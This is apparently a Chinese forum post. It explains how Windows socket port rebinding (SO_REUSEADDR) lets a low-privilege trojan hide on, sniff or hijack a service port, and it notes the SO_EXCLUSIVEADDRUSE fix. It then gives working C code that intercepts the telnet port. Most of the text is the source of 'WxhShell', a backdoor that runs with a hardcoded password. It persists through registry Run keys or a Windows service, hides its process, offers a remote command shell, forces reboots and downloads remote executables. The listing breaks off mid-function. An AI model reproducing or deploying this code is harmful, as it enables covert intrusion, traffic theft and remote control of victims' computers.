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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O]oH}#5b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ` :Oje  
L08lkq,  
  saddr.sin_family = AF_INET; 1=PTiDMJ<*  
.kB!',v\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $KS!vS7  
'*<I<? z;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O<MO2U+^x  
b&9~F6aM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x }]"jj2x  
bYr*rEcA  
  这意味着什么?意味着可以进行如下的攻击: bKEiS8x  
dq0!.gBT2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~_ wSB[z  
Q 87'zf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eYevj[c;  
b,>>E^wd!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -&lD0p>*g  
8d&%H,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZX'3qW^D  
20I/En  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xtK\-[n  
cM]ZYi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TIK'A<  
AHHV\r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yI^7sf7k  
g8@F/$HY  
  #include 7`&6l+S|  
  #include Z*=$n_ G  
  #include k *>"@  
  #include    Pc<0kQg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YPA$38  
  int main() 6h0}ZM  
  { Y~?Z'uR  
  WORD wVersionRequested; Z;njSw%:  
  DWORD ret; <(H<*Xf9  
  WSADATA wsaData; UD9JE S,  
  BOOL val; }daU/  
  SOCKADDR_IN saddr; }$ Kd-cj+  
  SOCKADDR_IN scaddr; ae](=OQ  
  int err; /rky  
  SOCKET s; y>)c?9X  
  SOCKET sc; _]{LjJ!M  
  int caddsize; |dDKO  
  HANDLE mt; >?6HUUQ  
  DWORD tid;   B{p74 >  
  wVersionRequested = MAKEWORD( 2, 2 ); #Tt*NU  
  err = WSAStartup( wVersionRequested, &wsaData ); @4]{ZUV  
  if ( err != 0 ) { {R_ <m$  
  printf("error!WSAStartup failed!\n"); qw>vu7/z  
  return -1; IW-|"5?9'  
  } NEvNj  
  saddr.sin_family = AF_INET; yvnDS"0<  
   M?GkHJ%!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z^s\&gix  
]Qa|9G,b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Hsd76z#8  
  saddr.sin_port = htons(23); H6Bw3I[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 29m$S7[  
  { `uZMln @  
  printf("error!socket failed!\n"); F^`+.G\  
  return -1; ?%Ww3cU+J  
  } `xx3JQv[  
  val = TRUE; cG%X}ZV5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l(}MM|ka  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /lh1sHgD  
  { 5G$ ,2i(  
  printf("error!setsockopt failed!\n"); y7%SHYC p[  
  return -1; |lZp5MOc  
  } ;NrPMz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TdT`V f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #TC}paIpj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %g{)K)$,ui  
MvnQUZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j>uu3ADd2  
  { Q'JK *.l  
  ret=GetLastError(); ]f&f_"D  
  printf("error!bind failed!\n"); DEt!/a{X  
  return -1; Dln1 R[  
  } 3,X8 5`v^  
  listen(s,2); qxsHhyB_n;  
  while(1) ts}OE  
  { <RZqs  
  caddsize = sizeof(scaddr); -A=3W3:C  
  //接受连接请求 ~P"Agpx3u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VX>j2Z'  
  if(sc!=INVALID_SOCKET) }P-C-L{yE(  
  { k_ywwkG9lU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ';My"/ Z-  
  if(mt==NULL) 9 wbQ$>G9  
  { 4y?n62N8$  
  printf("Thread Creat Failed!\n"); odC"#Rb  
  break; ".waCt6  
  } &1?6Q_p6c  
  } F|qMo|  
  CloseHandle(mt); a]xGzv5  
  } vy{k"W&S  
  closesocket(s); 'b z&m(!  
  WSACleanup(); i/H;4#Bz  
  return 0; }qhYHC  
  }   `]]<.>R  
  DWORD WINAPI ClientThread(LPVOID lpParam) Lo#G. s|  
  { oP%5ymL%J  
  SOCKET ss = (SOCKET)lpParam; <\O8D0.d  
  SOCKET sc; B RskxyL&,  
  unsigned char buf[4096]; .{*l,  
  SOCKADDR_IN saddr; ~ {yy{  
  long num; ,aGIq. *v  
  DWORD val; 1K<}  
  DWORD ret; :KA)4[#;W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `O%nDry  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VltM{-k^  
  saddr.sin_family = AF_INET; e&U$;sS`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kGo2R]Dd[  
  saddr.sin_port = htons(23); EU%v |]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]+3M\ ib  
  { k ,+,,W  
  printf("error!socket failed!\n"); 6 U[VoUU   
  return -1; ]1Wxa?  
  } bhIShk[  
  val = 100; CfP-oFHoQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <tZZ]Y]  
  { 2,`X@N`\  
  ret = GetLastError(); AWx@Z7\z"g  
  return -1; 5N%d Les  
  } l~f3J$OkJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zow8 Q6f  
  { 3di;lzGq  
  ret = GetLastError(); ;nQ=! .#Q  
  return -1; s(5hFuyg  
  } &Tuj`DL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2EZ7Vdz2  
  { -Yh(bS l  
  printf("error!socket connect failed!\n"); ncOgSj7e  
  closesocket(sc); }F!Uu KR  
  closesocket(ss); yq k8)\p  
  return -1; 3en6 7l  
  } amC)t8L?  
  while(1) rf4f'cUa  
  { 8tQL$CbO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y z&!0Hfd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z'y&11  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =FV(m S  
  num = recv(ss,buf,4096,0);  c1s&  
  if(num>0) YW&K,)L@  
  send(sc,buf,num,0); 2&n6:"u|  
  else if(num==0) DC*MB:c#U  
  break; 6)*fr'P  
  num = recv(sc,buf,4096,0); Wq<oP  
  if(num>0) G"J nQ  
  send(ss,buf,num,0); *->*p35  
  else if(num==0) b3R( O|  
  break; >4Tk#+%Jj  
  } z{\tn.67  
  closesocket(ss); 0>td[f  
  closesocket(sc); {TpbUj0  
  return 0 ; y-nv#Ejr  
  } 6A]I" E]5  
1~K'r&  
0m*b9+q  
========================================================== B!x#|vGXL  
z=U+FHdh/-  
下边附上一个代码,,WXhSHELL C 4C /  
eg}g} a  
========================================================== $ MH;v_'a  
G6a 2]  
#include "stdafx.h" Os$E,4,py  
`b8nz 7  
#include <stdio.h> EF\OM?R  
#include <string.h> 06%-tAq:  
#include <windows.h> s) U1U6O  
#include <winsock2.h> cb]X27uww  
#include <winsvc.h> ;6pB7N  
#include <urlmon.h> "kFH*I+v  
+vxf_*0;  
#pragma comment (lib, "Ws2_32.lib") vkhPE(f  
#pragma comment (lib, "urlmon.lib") f<wYJGI  
ri8=u$!  
#define MAX_USER   100 // 最大客户端连接数 3 5.&!4}  
#define BUF_SOCK   200 // sock buffer >JE+g[$@  
#define KEY_BUFF   255 // 输入 buffer WFahb3kx  
-F`GZ  
#define REBOOT     0   // 重启 WJONk_WAc  
#define SHUTDOWN   1   // 关机 %M1l[\N  
|X:`o;Uma  
#define DEF_PORT   5000 // 监听端口 X/:V{2  
Ro9:kEG$  
#define REG_LEN     16   // 注册表键长度 ANBuX6q  
#define SVC_LEN     80   // NT服务名长度 ~%=%5}  
5)XUT`;'){  
// 从dll定义API GIE QD$vy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +W[f>3`VQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  hO$Gx*e$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _xh)]R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ])F+ C/Px1  
@br)m](@  
// wxhshell配置信息 F*J1w|)F0  
struct WSCFG { Yl&[_ l  
  int ws_port;         // 监听端口 1O0. CC,p  
  char ws_passstr[REG_LEN]; // 口令 O-V] I0  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZKEoU!  
  char ws_regname[REG_LEN]; // 注册表键名 H}~K51  
  char ws_svcname[REG_LEN]; // 服务名 0~BaQ, A @  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Za!KM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;E 9o%f:o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mo N/?VA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D`^wj FF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s(Gs?6}>T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5`fUR/|[  
02[m{a-  
}; QAxy?m,'  
KH?6O%d  
// default Wxhshell configuration 98u@X:3  
struct WSCFG wscfg={DEF_PORT, a+lNXlh=  
    "xuhuanlingzhe", 5&p}^hS5  
    1, &Wa3/mWK  
    "Wxhshell", $Q#n'#c  
    "Wxhshell", z{ eZsh b  
            "WxhShell Service", aE)1LP  
    "Wrsky Windows CmdShell Service", H[?S*/n,<  
    "Please Input Your Password: ", 7P3/Ky@6  
  1, V*rLGY#  
  "http://www.wrsky.com/wxhshell.exe", i9Bh<j>:J  
  "Wxhshell.exe"  YC 6guy>  
    }; P^F3,'N  
ylczM^@  
// 消息定义模块 hzqgsmT)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C=oeRc'r1W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1SS1P0Ur  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,rN$ah$CL  
char *msg_ws_ext="\n\rExit."; "aKlvK:77  
char *msg_ws_end="\n\rQuit."; EMe1!)  
char *msg_ws_boot="\n\rReboot..."; RYvdfj.ij  
char *msg_ws_poff="\n\rShutdown..."; q)?!]|pZ  
char *msg_ws_down="\n\rSave to "; 3HuocwWbz  
f@!9~s  
char *msg_ws_err="\n\rErr!"; LyvR].p=5*  
char *msg_ws_ok="\n\rOK!"; Kh=\YN\E<  
TDk[,4  
char ExeFile[MAX_PATH]; ygja{W.  
int nUser = 0; A405igF  
HANDLE handles[MAX_USER]; H~JgZ pw  
int OsIsNt; *A48shfO  
}XUI1H]jk  
SERVICE_STATUS       serviceStatus; i^:#*Q-co  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {ly<%Q7j  
S)ipkuj X  
// 函数声明 w6> P[oW  
int Install(void); %k?/pRv$>  
int Uninstall(void); 7wWx8  
int DownloadFile(char *sURL, SOCKET wsh); 0OG 3#pE  
int Boot(int flag); 40 u tmC  
void HideProc(void); _nz_.w0H9  
int GetOsVer(void); go=xx.WJ  
int Wxhshell(SOCKET wsl); )d3C1Pd>  
void TalkWithClient(void *cs); 5#|&&$)  
int CmdShell(SOCKET sock); ddl]! ^IK  
int StartFromService(void); 4w9=z,  
int StartWxhshell(LPSTR lpCmdLine); 6:}n}q,V  
a"Iu!$&N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `2+TN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JP"#9f  
UzSDXhzObf  
// 数据结构和表定义 =os!^{p7>  
SERVICE_TABLE_ENTRY DispatchTable[] = @b 17jmq{  
{ /oEDA^qx  
{wscfg.ws_svcname, NTServiceMain}, h5l_/v d  
{NULL, NULL} &.2% p  
}; \rh+\9(  
DU,B  
// 自我安装 njJTEUd">  
int Install(void) Cz5U  
{ hEo$Jz`  
  char svExeFile[MAX_PATH]; !a V:T&6  
  HKEY key; YVF@v-v-,  
  strcpy(svExeFile,ExeFile); Z?[ R;V1j  
$!p2Kf>/Q  
// 如果是win9x系统,修改注册表设为自启动  )D+eWo  
if(!OsIsNt) { ;mD!8<~z.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U . <c#S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s H'FqV,)  
  RegCloseKey(key); =7kn1G.(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~3Qa-s;g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); suaP'0  
  RegCloseKey(key); >#S}J LZ  
  return 0; &q-P O  
    } Oi C|~8  
  } X}={:T+6s  
} 2XUIC^<@s  
else { aRn""3[  
oWDn_GnG`h  
// 如果是NT以上系统,安装为系统服务 uJ1oo| sn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k&K'FaM!  
if (schSCManager!=0) 1p/_U?H:|  
{ sy(bL _%  
  SC_HANDLE schService = CreateService 8&+u+@H  
  ( Y nTx)uW  
  schSCManager, .VmRk9Z  
  wscfg.ws_svcname, KF#qz2S  
  wscfg.ws_svcdisp, rnMi >?  
  SERVICE_ALL_ACCESS, 3WGOftLzt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =(c.8d  
  SERVICE_AUTO_START, w9x5IRWk  
  SERVICE_ERROR_NORMAL, ei]Q<vT6  
  svExeFile, & R<K>i  
  NULL, |a\,([aU  
  NULL, F2n4#b  
  NULL, #{)mr [c|  
  NULL, _S &6XNV  
  NULL (o\D=!a  
  ); B/~ubw  
  if (schService!=0) //$^~} wt  
  { 7Y 4D9pw  
  CloseServiceHandle(schService); cI7aTLC"s  
  CloseServiceHandle(schSCManager); "6%qi qt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - ikq#L){  
  strcat(svExeFile,wscfg.ws_svcname); "KC3+:tm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -=u9>S)!c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kMa|V0  
  RegCloseKey(key); _39VL  
  return 0; s9u7zqCF  
    } Z#;\Rb.x7  
  } !.q#X^@>L  
  CloseServiceHandle(schSCManager); dleLX%P  
} 7{rRQ~s&g9  
} m[N&UM#  
!0X"^VB  
return 1; Kt"4<'  
} N45@)s!F9j  
Bq,Pk5b  
// 自我卸载 jlD3SF~2  
int Uninstall(void) D_w<igu!3  
{ .+ic6  
  HKEY key; c-?0~A  
xaIe7.Z"xo  
if(!OsIsNt) { PB{5C*Y7^k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gX5.u9%C\  
  RegDeleteValue(key,wscfg.ws_regname); eX^ F^(   
  RegCloseKey(key); cgQ2Wo7tCq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |'L$ogt6  
  RegDeleteValue(key,wscfg.ws_regname); o|VM{5  
  RegCloseKey(key); Y$ ZDJNz  
  return 0; <ou=f'  
  } H"V)dEm  
} Q(hAV  
} v)!^%D  
else { **n109R  
UzkX;UA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \mwxV!!b$  
if (schSCManager!=0) `9G1Bd8k  
{ *&F~<HC2+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z-kB!~r  
  if (schService!=0) X5P1wxk'  
  { 3.04Toq!  
  if(DeleteService(schService)!=0) { +]# p m9  
  CloseServiceHandle(schService); wOl]N2<  
  CloseServiceHandle(schSCManager); /gLi(Uw  
  return 0; Snas:#B!  
  } u|&a!tOf2  
  CloseServiceHandle(schService); [PU0!W;  
  } 0^ $6U  
  CloseServiceHandle(schSCManager); 8.D9OpU  
} fh}j)*K8  
} 0hju@&Aa  
;c>IM]  
return 1; U\tujK1  
} 9iOTT%pq  
kM@heFJb.  
// 从指定url下载文件 \&X*-T[]j  
int DownloadFile(char *sURL, SOCKET wsh) O<qo%fP  
{ }tH6E  
  HRESULT hr; q*K.e5"'  
char seps[]= "/"; {rZ )!  
char *token; kT4Tb%7KM  
char *file; VH$hQPP5d  
char myURL[MAX_PATH]; \MFjb IL  
char myFILE[MAX_PATH]; s4{>7`N2  
8 gzf$Oc  
strcpy(myURL,sURL); g%f6D%d)A  
  token=strtok(myURL,seps); c o%-d  
  while(token!=NULL) '"Y(2grP  
  { 3n=ftkI  
    file=token; XVkCYh4,  
  token=strtok(NULL,seps); yj C@  
  } VTvNn  
%13V@'e9  
GetCurrentDirectory(MAX_PATH,myFILE); :B]yreg  
strcat(myFILE, "\\"); 4z>SI\Ss  
strcat(myFILE, file); 924a1  
  send(wsh,myFILE,strlen(myFILE),0); H)O I&?  
send(wsh,"...",3,0); yMbg1+:   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;*XH[>I  
  if(hr==S_OK) VRa>bS  
return 0; |jE0H!j  
else 8P3"$2q  
return 1; T:(c/ >  
'Q F@@48  
} #Vi:-zyY  
Y|96K2BR  
// 系统电源模块 j?y_ H[Z  
int Boot(int flag) HH94?&  
{ 80;^]l   
  HANDLE hToken; lcYjwA  
  TOKEN_PRIVILEGES tkp; Z</.Ss 4  
r5S5;jL%t  
  if(OsIsNt) { Z1ZjQt#~+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /32x|Ow# 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z. G<'  
    tkp.PrivilegeCount = 1; 79O'S du@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VgyY7INx9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <m X EX`?  
if(flag==REBOOT) { Tg ~SGAc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |#?:KvU97E  
  return 0; #J09Eka;J  
} ZQY?wO: [  
else { bL]NSD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |Y&&g=7  
  return 0; j0+l-]F-  
} E|v9khN(].  
  } XPQY*.l&.  
  else { ;_Z[' %  
if(flag==REBOOT) { $I }k>F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DZE@C^ 0%  
  return 0; _?QVc0S!  
} #9ZHt5T=$  
else { x|lX1Mh$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }*9mNE  
  return 0; \olYv!f  
} I$w:qS&:  
} Iu|4QE  
pDV8B/{  
return 1; /Mmts=^Ja  
} Y~[k_!  
5Gw B1}q  
// win9x进程隐藏模块 pa8R;A70Dl  
void HideProc(void) HS >B\Ip"  
{ N>Q~WXvV#  
*\PCMl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S@Q4fmH  
  if ( hKernel != NULL ) #)PAvBJ;m  
  { GZWU=TC2{2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GW;O35 m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #4BwYj(Sl  
    FreeLibrary(hKernel); GLtd6;V  
  } SA[wF c  
iw\yVd^]:k  
return; 'K*. ?M  
} ]L{diD 2G  
)]M,OMYq-  
// 获取操作系统版本 K|sk]2.  
int GetOsVer(void) Vc*"Q8aZ~  
{ -fCR^`UOS  
  OSVERSIONINFO winfo; ^e\H V4s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z b}U 4  
  GetVersionEx(&winfo); r"xs?P&/$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^LAnR>mz^r  
  return 1; &Xh_`*]ox  
  else :^H2D=z@  
  return 0; vMYL( ]e  
} 5VZZk%oy  
5DxNHEuS  
// 客户端句柄模块 13K|=6si  
int Wxhshell(SOCKET wsl) ~KP@wD~  
{ vef9*u`  
  SOCKET wsh; {u)>W@Lr  
  struct sockaddr_in client; SS*3Qx:[  
  DWORD myID; Ci(c`1av  
( we)0AxF'  
  while(nUser<MAX_USER) ;fe~PPT  
{ 0"J0JcFX  
  int nSize=sizeof(client);  BDfJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n4InZ!)  
  if(wsh==INVALID_SOCKET) return 1; ^ DCBL&I  
x|`BF%e/v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t 0.71(  
if(handles[nUser]==0) _Nacqa  
  closesocket(wsh); Lq2ZgKd!  
else >0E3Em<(}l  
  nUser++; Nbb2wr9A  
  } 8@,8j!$8G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s((c@)M  
GUn$IPOM  
  return 0; B]u!BBjC  
} ,{2= nb[  
-an~&C5\  
// 关闭 socket  !U=o<)I  
void CloseIt(SOCKET wsh) l/-qVAd!q  
{ wQX18aF/#d  
closesocket(wsh); :Lu 9w0>f  
nUser--; #5%ipWPHb  
ExitThread(0); O;+ sAt  
} L(o#)I>j  
Ubm]V{7  
// 客户端请求句柄 COA*Q  
void TalkWithClient(void *cs) Qv6-,6<  
{ P:%r3F  
d.yATP  
  SOCKET wsh=(SOCKET)cs; of8 >xvE|  
  char pwd[SVC_LEN]; [*U.bRs  
  char cmd[KEY_BUFF]; =z zmz7op  
char chr[1]; `Z^\<{z  
int i,j; [JYy  
P&IS$FC.\  
  while (nUser < MAX_USER) { IoZ _zz0  
bF'Jm*f  
if(wscfg.ws_passstr) { DT3"uJTt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~,7Tj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?7uK:'8  
  //ZeroMemory(pwd,KEY_BUFF); x %W%  
      i=0; X`28?  
  while(i<SVC_LEN) { Yk0/f|>O  
+CN!3(r  
  // 设置超时 ~9Qd83`UH  
  fd_set FdRead; M>d^.n  
  struct timeval TimeOut; W. BX6  
  FD_ZERO(&FdRead); ? =G{2E.  
  FD_SET(wsh,&FdRead); 'x6rU"e$J  
  TimeOut.tv_sec=8; wOg#J  
  TimeOut.tv_usec=0; '| p"HbJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L~Y^O`c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jo' V.]\  
 o .*t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f7/M_sx  
  pwd=chr[0]; OlP1Zd/l  
  if(chr[0]==0xd || chr[0]==0xa) { q $PO. #  
  pwd=0; {F;"m&3Lt  
  break; {r%T_BfY  
  } '^`iF,rg  
  i++; &v#pS!UOj  
    } f2u4*X E\  
g@Pq<   
  // 如果是非法用户,关闭 socket Y`."=8R~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P9W?sPnC5  
} t;`ULp~&  
/ke[nr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z7>Nd$E{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}d[j I9  
.}Eckqkp  
while(1) { 4~Y?*|G]m  
"B>8on8O  
  ZeroMemory(cmd,KEY_BUFF); (TU/EU5  
3L36 2  
      // 自动支持客户端 telnet标准   =IKgi-l*  
  j=0; Gk xtGe  
  while(j<KEY_BUFF) { wg<t*6&'x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 45k.U$<|  
  cmd[j]=chr[0]; f@2F!  
  if(chr[0]==0xa || chr[0]==0xd) { 3$S~!fh  
  cmd[j]=0; ZW4$Ks2]Y  
  break; h>F"GR?U_(  
  } q4v:s   
  j++; izzX$O[=:  
    } Tgl >  
PS8^=  
  // 下载文件 4'TssRot@h  
  if(strstr(cmd,"http://")) { ICiGZ'k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gJ~CD1`O  
  if(DownloadFile(cmd,wsh)) #r/5!*3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h_]*|[g  
  else I^HwXp([  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C-\3,  
  } A/{!w"G  
  else { h^ K]ASj  
zp5ZZcj_  
    switch(cmd[0]) { ra2{8 x  
  \}~71y}  
  // 帮助 Z1Qv>@u  
  case '?': { vCXmu_S4^>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mT #A?C2  
    break; `F]  
  } |>OBpb  
  // 安装 7dv!  
  case 'i': { c3 )jsf  
    if(Install()) !K0 U..  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MiR$N  
    else mi.,Z`]o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MkhD*\D /  
    break; 3y,2RernK  
    } ~KV{m  
  // 卸载 c&N;r|N  
  case 'r': { Nukyvse  
    if(Uninstall()) )0DgFA6k_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SUv'cld  
    else P]TT8Jgw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {9X mFa  
    break; dPbn[*:  
    } ~9xkiu5~  
  // 显示 wxhshell 所在路径 ; O(Ml}z  
  case 'p': { bt(Y@3;  
    char svExeFile[MAX_PATH]; !dUdz7  
    strcpy(svExeFile,"\n\r"); CyS %11L  
      strcat(svExeFile,ExeFile); ca3SE^  
        send(wsh,svExeFile,strlen(svExeFile),0); N&eo;Ti  
    break; GzBPI'C  
    } ;^u,[d  
  // 重启 H  XFY  
  case 'b': { \I-e{'h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tv`b##  
    if(Boot(REBOOT)) l($ 8H AJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\XS5HOE(  
    else { 5IOGH*'U8  
    closesocket(wsh); em5~4;&'  
    ExitThread(0); e&*b{>1*  
    } tW94\3)1  
    break; O9E:QN<U`*  
    } LokH4A17U  
  // 关机 J3~%9MCJ  
  case 'd': { j7QK8O$XL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4/k`gT4  
